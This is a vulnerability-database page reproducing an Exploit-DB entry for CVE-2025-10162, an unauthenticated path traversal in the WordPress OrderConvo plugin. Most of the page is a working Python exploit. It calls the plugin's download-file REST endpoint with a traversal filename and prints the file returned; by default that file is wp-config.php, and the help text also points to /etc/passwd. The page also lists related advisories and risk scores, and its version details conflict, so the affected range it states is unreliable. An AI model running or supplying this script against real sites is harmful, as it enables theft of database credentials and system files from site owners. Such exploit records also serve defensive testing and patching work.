Lucene search
+L

WordPress OrderConvo 14 - Path Traversal

🗓️ 01 Jun 2026 00:00:00Reported by DiamorphineType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 134 Views

Exploit for CVE-2025-10162 targets WordPress OrderConvo plugin to read files via path traversal.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-10162
30 May 202622:15
–githubexploit
circl
Circl
CVE-2025-10162
4 May 202603:43
–circl
cnnvd
CNNVD
WordPress plugin OrderConvo has a security vulnerability
7 Oct 202500:00
–cnnvd
cve
CVE
CVE-2025-10162
7 Oct 202506:00
–cve
cvelist
Cvelist
CVE-2025-10162 OrderConvo <= 15.1 - Unauthenticated Arbitrary File Read
7 Oct 202506:00
–cvelist
euvd
EUVD
EUVD-2025-32606
7 Oct 202506:00
–euvd
kitploit
Kitploit
CVE-2025-10162-Exploit
26 Oct 202618:51
–kitploit
kittysploit
KittySploit
WordPress OrderConvo < 14 - Unauthenticated Path Traversal
26 Jun 202608:41
–kittysploit
kittysploit
KittySploit
WordPress OrderConvo < 14 - Path Traversal Detection
28 Jul 202611:27
–kittysploit
nuclei
Nuclei
WordPress OrderConvo < 14 - Path Traversal
27 Oct 202602:09
–nuclei
Rows per page
# Exploit Title: WordPress OrderConvo 14 - Path Traversal
# Date: 05-31-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.najeebmedia.com/
# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
# Version: 13.5
# Tested on: Debian
# CVE : CVE-2025-10162

import httpx
import asyncio
import argparse
from urllib.parse import urljoin
import sys


async def main(base_url, file):
	async with httpx.AsyncClient(verify=False) as client:
		try:
			print('[*] Checking connection to target')
			req = await client.get(url=base_url)
			if req.status_code == 200:
				print('[+] The target is alive, exploiting\n')
			else:
				print(f'[-] Unable to connect to the target. Code: {req.status_code}')
				sys.exit()
		except:
			print(f'[-] Problem with connection to the target.')
			sys.exit()

		exp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')
		r = await client.get(url=exp_url)
		if len(r.text) != 0:
			print(r.text)
		else:
			print("[*] Unable to read file")

parser = argparse.ArgumentParser(description="Exploit for CVE-2025-10162")

parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. https://test.local")
parser.add_argument("-f", "--filename", default="../../../../wp-config.php", help="Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)")

args = parser.parse_args()

if __name__ == '__main__':
	asyncio.run(main(args.url, args.filename))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jun 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.5 - 8.6
EPSS0.04437
SSVC
134